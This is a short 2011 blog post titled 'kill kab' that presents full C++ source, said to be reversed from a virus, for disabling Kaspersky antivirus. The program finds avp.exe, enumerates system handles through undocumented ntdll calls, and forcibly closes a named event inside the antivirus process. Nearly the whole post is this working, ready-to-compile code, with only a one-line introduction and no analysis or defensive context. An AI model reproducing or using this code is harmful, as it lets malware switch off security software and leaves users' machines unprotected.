Thursday, September 22, 2011

kill kab

Author:takile
Watch usage of a virus , Through colse Kaspersky's event, That is old method.
Reverse the code, 
Code:
// KillAvpByEventHandle.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
#ifdef MIDL_PASS
  [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
  PWSTR  Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _SYSTEM_HANDLE_INFORMATION {
  ULONG ProcessId;
  UCHAR ObjectTypeNumber;
  UCHAR Flags;
  USHORT Handle;
  PVOID Object;
  ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _OBJECT_NAME_INFORMATION {
  UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;

typedef long NTSTATUS;

#define SystemHandleInformation 16
#define ObjectNameInformation 1

#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#define OB_TYPE_EVENT 8
#define OB_TYPE_EVENT_PAIR 9

typedef VOID (__stdcall *PRTLINITUNICODESTRING)(
                        IN OUT PUNICODE_STRING  DestinationString,
                        IN PCWSTR  SourceString
                        );

typedef NTSTATUS (__stdcall *PZWQUERYSYSTEMINFORMATION)(
                            ULONG SystemInformationClass,
                            PVOID SystemInformation,
                            ULONG SystemInformationLength,
                            PULONG ReturnLength
                            );

typedef NTSTATUS (__stdcall *PZWQUERYOBJECT)(
                       IN HANDLE ObjectHandle,
                       IN ULONG ObjectInformationClass,
                       OUT PVOID ObjectINformation,
                       IN ULONG ObjectInformationLength,
                       OUT PULONG ReturnLength OPTIONAL
                       );

//  获取非 system 用户的 avp.exe 进程 Id
DWORD GetNotSystemAvpProcess(IN const TCHAR *pszProcessName);

//  获取创建进程的用户名
BOOL GetProcessUserName(IN DWORD dwProcessId, OUT TCHAR *pszProcessUserName, IN DWORD dwUserNameLength);

//  获取事件句柄的类型
BOOL GetEventHandleType(OUT UCHAR *uObjectTypeNumber);

//  获取 HandleInformation Buffer(Call ZwQuerySystemInformation)
PVOID GetSystemHandleInformation(OUT DWORD *dwHandleCount);

//  获取对象名字字符串
PVOID GetObjectNameByHandle(IN HANDLE hObject);

PRTLINITUNICODESTRING pfnRtlInitUnicodeString = NULL;
PZWQUERYSYSTEMINFORMATION pfnZwQuerySystemInformation = NULL;
PZWQUERYOBJECT pfnZwQueryObject = NULL;

int _tmain(int argc, _TCHAR* argv[])
{
  HMODULE hLibrary = NULL;
  DWORD dwProcessId = -1;
  UNICODE_STRING unicodeObject;
  HANDLE hProcess = NULL, hTargetHandle = NULL;
  BOOL bRetValue = FALSE;
  UCHAR uObjectTypeNumber = -1;

  PVOID pHandleInfoBuffer = NULL;
  PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
  DWORD dwHandleCount = 0, dwIndex = 0;

  POBJECT_NAME_INFORMATION pObjectName = NULL;

  //  getchar();

  hLibrary = LoadLibraryEx(_T("ntdll.dll"), NULL, DONT_RESOLVE_DLL_REFERENCES);
  if ( NULL == hLibrary )
    goto Return;

  pfnRtlInitUnicodeString = (PRTLINITUNICODESTRING)GetProcAddress(hLibrary, "RtlInitUnicodeString");
   pfnZwQuerySystemInformation = (PZWQUERYSYSTEMINFORMATION)GetProcAddress(hLibrary, "ZwQuerySystemInformation");
  pfnZwQueryObject = (PZWQUERYOBJECT)GetProcAddress(hLibrary, "ZwQueryObject");

   if ( NULL == pfnRtlInitUnicodeString || NULL == pfnZwQuerySystemInformation || NULL == pfnZwQueryObject )
     goto Return;

  pfnRtlInitUnicodeString(&unicodeObject, L"\\BaseNamedObjects\\6953EA60-8D5F-4529-8710-42F8ED3E8CDA");

  dwProcessId = GetNotSystemAvpProcess(_T("avp.exe"));
  if ( -1 == dwProcessId )
    goto Return;

  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);
  bRetValue = DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hProcess, PROCESS_DUP_HANDLE, FALSE, 0);
  if ( FALSE == bRetValue )
    goto Return;

  if ( FALSE == (bRetValue = GetEventHandleType(&uObjectTypeNumber)) || -1 == uObjectTypeNumber )
    goto Return;

  pHandleInfoBuffer = GetSystemHandleInformation(&dwHandleCount);
  if ( NULL == pHandleInfoBuffer || 0 >= dwHandleCount )
    goto Return;

  pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PUCHAR)pHandleInfoBuffer + 4);

  for ( dwIndex = 0; dwIndex < dwHandleCount; dwIndex ++ )
  {
    hTargetHandle = NULL;

    if ( dwProcessId != pHandleInfo->ProcessId || uObjectTypeNumber != pHandleInfo->ObjectTypeNumber )
      goto Loop;

    bRetValue = DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handle, GetCurrentProcess(), &hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);
    if ( FALSE == bRetValue )
      goto Loop;

    if ( NULL == (pObjectName = (POBJECT_NAME_INFORMATION)GetObjectNameByHandle(hTargetHandle)) )
      goto Loop;

    if ( NULL != pObjectName->Name.Buffer && 0 < pObjectName->Name.Length )
    {
      if ( 0 == _wcsnicmp(unicodeObject.Buffer, pObjectName->Name.Buffer, unicodeObject.Length) )
      {
        bRetValue = DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handle, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
        if ( TRUE == bRetValue )
          break;
      }
    }

Loop:

    if ( NULL != pObjectName )
    {
      HeapFree(GetProcessHeap(), 0, pObjectName);
      pObjectName = NULL;
    }

    if ( NULL != hTargetHandle )
    {
      CloseHandle(hTargetHandle);
      hTargetHandle = NULL;
    }

    pHandleInfo++;
  }

Return:

  if ( NULL != pObjectName )
  {
    HeapFree(GetProcessHeap(), 0, pObjectName);
    pObjectName = NULL;
  }

  if ( NULL != pHandleInfoBuffer )
  {
    HeapFree(GetProcessHeap(), 0, pHandleInfoBuffer);
    pHandleInfoBuffer = NULL;
    pHandleInfo = NULL;
  }

  if ( NULL != hTargetHandle )
  {
    CloseHandle(hTargetHandle);
    hTargetHandle = NULL;
  }

  if ( NULL != hProcess )
  {
    CloseHandle(hProcess);
    hProcess = NULL;
  }

  if ( NULL != hLibrary )
  {
    FreeLibrary(hLibrary);
    hLibrary = NULL;
  }

  return 0;
}

//  Get avp.exe process id of non-system user
DWORD GetNotSystemAvpProcess(IN const TCHAR *pszProcessName)
{
  DWORD dwProcessId = -1;
  HANDLE hProcessSnapshot = INVALID_HANDLE_VALUE;
  PROCESSENTRY32 struct_ProEntry;
 
  BOOL bRetValue = FALSE;
  TCHAR szProcessUserName[MAX_PATH] = {0};

  if ( NULL == pszProcessName )
    goto Return;

  hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if ( INVALID_HANDLE_VALUE == hProcessSnapshot )
    goto Return;

  ZeroMemory(&struct_ProEntry, sizeof(PROCESSENTRY32));
  struct_ProEntry.dwSize = sizeof(PROCESSENTRY32);

  if ( FALSE == (bRetValue = Process32First(hProcessSnapshot, &struct_ProEntry)) )
    goto Return;

  do
  {
    if ( 0 == _tcsnicmp(pszProcessName, struct_ProEntry.szExeFile, _tcslen(pszProcessName)) )
    {
      bRetValue = GetProcessUserName(struct_ProEntry.th32ProcessID, szProcessUserName, MAX_PATH);
      if ( TRUE == bRetValue )
      {
        if ( 0 != _tcsnicmp(szProcessUserName, _T("system"), _tcslen(_T("system"))) )
        {
          dwProcessId = struct_ProEntry.th32ProcessID;
          goto Return;
        }
      }
    }

  } while( Process32Next(hProcessSnapshot, &struct_ProEntry) );

Return:

  if ( INVALID_HANDLE_VALUE != hProcessSnapshot )
  {
    CloseHandle(hProcessSnapshot);
    hProcessSnapshot = NULL;
  }       

  return dwProcessId;
}

//  Get to be created process's user name
BOOL GetProcessUserName(IN DWORD dwProcessId, OUT TCHAR *pszProcessUserName, IN DWORD dwUserNameLength)
{
  BOOL bRetResult = FALSE, bRetValue = FALSE;
  HANDLE hProcess = NULL, hProcessToken = NULL;
  DWORD dwReturnLength = 0;

  PTOKEN_USER pTokenUser = NULL;
  SID_NAME_USE enum_SidName;

  PVOID pUserName = NULL, pReferencedDomainName = NULL;
  DWORD dwchUserNameLength = 0, dwchReferencedDomainNameLength = 0;

  if ( 0 >= dwProcessId || NULL == pszProcessUserName || (0 >= dwUserNameLength || MAX_PATH < dwUserNameLength) )
    goto Return;

  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);
  if ( NULL == hProcess )
    goto Return;

  bRetValue = OpenProcessToken(hProcess, TOKEN_QUERY, &hProcessToken);
  if ( FALSE == bRetValue )
    goto Return;

  bRetValue = GetTokenInformation(hProcessToken, TokenUser, NULL, 0, &dwReturnLength);
  if ( FALSE != bRetValue || ERROR_INSUFFICIENT_BUFFER != GetLastError() )
    goto Return;

  pTokenUser = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwReturnLength);
  if ( NULL == pTokenUser )
    goto Return;

  bRetValue = GetTokenInformation(hProcessToken, TokenUser, pTokenUser, dwReturnLength, &dwReturnLength);
  if ( FALSE == bRetValue )
    goto Return;

  bRetValue = LookupAccountSid(NULL, pTokenUser->User.Sid, NULL, &dwchUserNameLength,
                 NULL, &dwchReferencedDomainNameLength, &enum_SidName);
  if ( FALSE != bRetValue || ERROR_INSUFFICIENT_BUFFER != GetLastError() )
    goto Return;

  if ( dwchUserNameLength <= dwUserNameLength )
  {
    pUserName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwchUserNameLength);
    pReferencedDomainName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwchReferencedDomainNameLength);

    if ( NULL == pUserName || NULL == pReferencedDomainName )
      goto Return;

    bRetValue = LookupAccountSid(NULL, pTokenUser->User.Sid, (TCHAR *)pUserName, &dwchUserNameLength,
                   (TCHAR *)pReferencedDomainName, &dwchReferencedDomainNameLength, &enum_SidName);
    if ( TRUE == bRetValue )
    {
      _tcsncpy_s(pszProcessUserName, dwUserNameLength, (TCHAR *)pUserName, dwchUserNameLength);

      bRetResult = TRUE;
    }
  }

Return:

  if ( NULL != hProcess )
  {
    CloseHandle(hProcess);
    hProcess = NULL;
  }

  if ( NULL != hProcessToken )
  {
    CloseHandle(hProcessToken);
    hProcessToken = NULL;
  }

  if ( NULL != pTokenUser )
  {
    HeapFree(GetProcessHeap(), 0, pTokenUser);
    pTokenUser = NULL;
  }

  if ( NULL != pUserName )
  {
    HeapFree(GetProcessHeap(), 0, pUserName);
    pUserName = NULL;
  }

  if ( NULL != pReferencedDomainName )
  {
    HeapFree(GetProcessHeap(), 0, pReferencedDomainName);
    pReferencedDomainName = NULL;
  }

  return bRetResult;
}

//  获取事件句柄的类型
BOOL GetEventHandleType(OUT UCHAR *uObjectTypeNumber)
{
  BOOL bRetResult = FALSE;
  HANDLE hEvent = NULL;
  PVOID pHandleInfoBuffer = NULL;
  PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
  DWORD dwHandleCount = 0, dwIndex = 0;

  if ( NULL == uObjectTypeNumber )
    goto Return;

  hEvent = CreateEvent(NULL, TRUE, TRUE, "TEST_EVENT");
  if ( NULL == hEvent )
    goto Return;

  pHandleInfoBuffer = GetSystemHandleInformation(&dwHandleCount);
  if ( NULL == pHandleInfoBuffer || 0 >= dwHandleCount )
    goto Return;

  pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PUCHAR)pHandleInfoBuffer + 4);

  for ( dwIndex = 0; dwIndex < dwHandleCount; dwIndex ++ )
  {
    if ( GetCurrentProcessId() == pHandleInfo->ProcessId )
    {
      if ( (USHORT)hEvent == pHandleInfo->Handle )
      {
        *uObjectTypeNumber = pHandleInfo->ObjectTypeNumber;
        bRetResult = TRUE;

        break;
      }
    }

    pHandleInfo ++;
  }   

Return:

  if ( NULL != pHandleInfoBuffer )
  {
    HeapFree(GetProcessHeap(), 0, pHandleInfoBuffer);
    pHandleInfoBuffer = NULL;
    pHandleInfo = NULL;
  }

  if ( NULL != hEvent )
  {
    CloseHandle(hEvent);
    hEvent = NULL;
  }

  return bRetResult;
}

//  Get HandleInformation Buffer(Call ZwQuerySystemInformation)
PVOID GetSystemHandleInformation(OUT DWORD *dwHandleCount)
{
  PVOID pReturnBuffer = NULL;
  NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
  ULONG uReturnLength = 0;

  if ( NULL == dwHandleCount || NULL == pfnZwQuerySystemInformation )
    goto Return;

  if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024)) )
    goto Return;

  ntStatus = pfnZwQuerySystemInformation(SystemHandleInformation, pReturnBuffer, 1024, &uReturnLength);
  if ( STATUS_INFO_LENGTH_MISMATCH != ntStatus )
    goto Return;

  if ( NULL != pReturnBuffer )
  {
    HeapFree(GetProcessHeap(), 0, pReturnBuffer);
    pReturnBuffer = NULL;
  }

  if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uReturnLength)) )
    goto Return;

  ntStatus = pfnZwQuerySystemInformation(SystemHandleInformation, pReturnBuffer, uReturnLength, &uReturnLength);
  if ( STATUS_SUCCESS != ntStatus )
    goto Return;

  *dwHandleCount = *(PULONG)pReturnBuffer;

Return:

  return pReturnBuffer;
}

//  Get object's name string
PVOID GetObjectNameByHandle(IN HANDLE hObject)
{
  PVOID pReturnBuffer = NULL;
  NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
  ULONG uReturnLength = 0;

  if ( NULL == hObject )
    goto Return;

  ntStatus = pfnZwQueryObject(hObject, ObjectNameInformation, pReturnBuffer, 0, &uReturnLength);
  if ( STATUS_INFO_LENGTH_MISMATCH != ntStatus )
    goto Return;

  if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uReturnLength)) )
    goto Return;

  ntStatus = pfnZwQueryObject(hObject, ObjectNameInformation, pReturnBuffer, uReturnLength, &uReturnLength);
  if ( STATUS_SUCCESS != ntStatus )
  {
    if ( NULL != pReturnBuffer )
    {
      HeapFree(GetProcessHeap(), 0, pReturnBuffer);
      pReturnBuffer = NULL;
    }
  }

Return:

  return pReturnBuffer;
}

No comments:

Post a Comment